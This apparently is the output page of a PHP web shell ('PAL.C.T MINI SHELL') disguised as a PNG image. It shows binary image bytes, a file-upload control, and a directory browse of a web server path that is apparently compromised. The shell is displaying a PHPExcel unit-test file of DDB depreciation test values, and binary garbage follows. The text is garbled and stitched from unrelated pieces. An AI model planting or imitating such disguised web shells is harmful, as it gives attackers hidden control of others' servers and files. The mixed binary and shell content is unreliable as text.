php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Financial/
upload
files >> //var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Financial/DDB.data

#cost		salvage		life	period	month	result
2400,		300,		36500,	1,		0.13150684931507
2400,		300,		36500,	2,		0.13149964346031
2400,		300,		36500,	7,		0.13146362010871
2400,		300,		36500,	7,	14,	0.91843145432708
2400,		300,		120,	1,	2,	40.00
2400,		300,		10,	1,	2,	480.00
2400,		300,		10,	2,	1.5,	306.00
2400,		300,		10,	10,		22.12254720000030
10000,		1000,		5,	1,		4000.00
10000,		1000,		5,	2,		2400.00
10000,		1000,		5,	3,		1440.00
10000,		1000,		5,	4,		864.00
10000,		1000,		5,	5,		296.00
-2400,		300,		36500,	1,		"#NUM!"
"ABC",		300,		36500,	1,		"#VALUE!"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`